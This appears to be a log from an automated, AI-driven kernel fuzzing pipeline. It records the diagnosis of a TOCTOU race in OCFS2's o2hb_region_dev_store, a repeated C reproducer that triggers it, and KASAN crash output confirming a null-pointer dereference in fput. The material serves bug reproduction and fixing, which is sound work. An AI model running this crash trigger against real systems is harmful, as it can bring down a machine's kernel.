[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```
The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
!test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.
When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
if (o2nm_this_node() == O2NM_MAX_NODES)
return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.
The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.
To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race.
|
| 194/4 |
2026/09/04 20:59 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 8261
output: 1771
thoughts: 2110
Thoughts: **My Thoughts on Reproducing the KASAN Null-Pointer Dereference in `fput`**
Okay, so the primary objective here is to craft a C reproducer for a KASAN null-pointer dereference that's occurring within the `fput` function. The root cause, as I understand it, is a race condition that manifests during `o2hb_region_dev_store`. My previous attempt unfortunately didn't hit the mark, primarily due to an incorrect sequence when initializing the OCFS2 node configuration.
I've carefully reviewed the feedback provided, and it's crystal clear on the necessary adjustments. My internal checklist now looks like this:
1. **Correct Initialization Order:** The configuration attributes for the OCFS2 node (`ipv4_address`, `ipv4_port`, `num`, and `local`) absolutely *must* be written in that specific sequence. This is crucial for the internal logic to proceed as expected and avoid early exits or unexpected states that would prevent the race condition from being exposed.
2. **Induce a Failure Path:** To guarantee that the code path leading to the `fput` vulnerability is actually taken, I need to deliberately introduce a discrepancy. Specifically, the value written to `block_bytes` must be different from the actual logical block size of the block device being used. The feedback highlights this – a `block_bytes` of, say, 1024 when the device's `sectsize` is 512. This mismatch is designed to trigger a specific error path (the `sectsize != reg->hr_block_bytes` condition), which then forces execution to the `out` label, where the vulnerable `fput()` call resides.
3. **Maintain Concurrent Writes:** The core of the race condition involves concurrent writes to the `dev` attribute. So, it's essential that this part of the setup – opening the `dev` attribute twice and having separate threads continuously writing to it – remains intact.
With these points firmly in mind, I've gone ahead and drafted the updated C code. I've implemented the corrected initialization order for the node configuration as specified. I've also ensured that the `block_bytes` value is set to be different from the block device's logical block size, thereby forcing the desired failure path. The concurrent thread structure for writing to the `dev` attribute is preserved.
Looking back at the feedback, it specifically mentioned: "The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`." This was precisely the flaw in the earlier version. My current code rectifies this by writing `ipv4_address` and `ipv4_port` *before* `num`, and then `local` as the final step.
I've double-checked all the requirements against the code.
* The initialization order is fixed: `ipv4_address`, `ipv4_port`, `num`, and `local` (set to 1).
* The failure path is forced by ensuring `block_bytes` (e.g., 1024) differs from the block device's `sectsize` (typically 512), leading to the `fput` call.
* The concurrent writes to the `dev` attribute are maintained.
Everything appears to be in order. I'm confident this version will successfully reproduce the KASAN null-pointer dereference in `fput`. I'm ready to submit this updated reproducer.
|
| 195/4 |
2026/09/04 20:59 |
tool |
set-results |
0m
Args: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}
]
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}
]
|
| 196/3 |
2026/09/04 20:59 |
loop |
|
0m
|
| 197/4 |
2026/09/04 20:59 |
iteration |
0 |
0m
|
| 198/5 |
2026/09/04 20:59 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}
]
|
| 199/5 |
2026/09/04 20:59 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}
]
|
| 200/5 |
2026/09/04 20:59 |
action |
If |
0m
Args:
|
| 201/3 |
2026/09/04 21:00 |
action |
run-c-repro |
1m
Results: map[CandidateBugTitle:KASAN: null-ptr-deref Write in fput CandidateCrashReport:(syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x30/0xd0 fs/file_table.c:588
o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x612/0xba0 fs/read_write.c:687
ksys_pwrite64 fs/read_write.c:794 [inline]
__do_sys_pwrite64 fs/read_write.c:802 [inline]
__se_sys_pwrite64 fs/read_write.c:799 [inline]
__x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
</TASK>
==================================================================
CandidateReproduced:true ConsoleOutput:[ 61.946612][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.946621][ T33] audit: type=1400 audit(1788555666.426:201): avc: denied { transition } for pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.956299][ T33] audit: type=1400 audit(1788555666.436:202): avc: denied { noatsecure } for pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.964330][ T33] audit: type=1400 audit(1788555666.436:203): avc: denied { rlimitinh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.970604][ T33] audit: type=1400 audit(1788555666.436:204): avc: denied { siginh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:7215' (ED25519) to the list of known hosts.
[ 63.988983][ T33] audit: type=1400 audit(1788555668.466:205): avc: denied { mounton } for pid=5832 comm="syz-executor369" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 63.998170][ T33] audit: type=1400 audit(1788555668.466:206): avc: denied { mount } for pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[ 64.002137][ T5832] audit: audit_backlog=65 > audit_backlog_limit=64
[ 64.006189][ T33] audit: type=1400 audit(1788555668.466:207): avc: denied { search } for pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 64.007879][ T5832] audit: audit_lost=1 audit_rate_limit=0 audit_backlog_limit=64
[ 64.015184][ T33] audit: type=1400 audit(1788555668.466:208): avc: denied { search } for pid=5832 comm="syz-executor369" name="cluster" dev="configfs" ino=168 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 64.023145][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.025746][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.030691][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.035179][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.038975][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.042927][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.042940][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.047127][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.050949][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.054721][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.058599][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.062081][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.065935][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
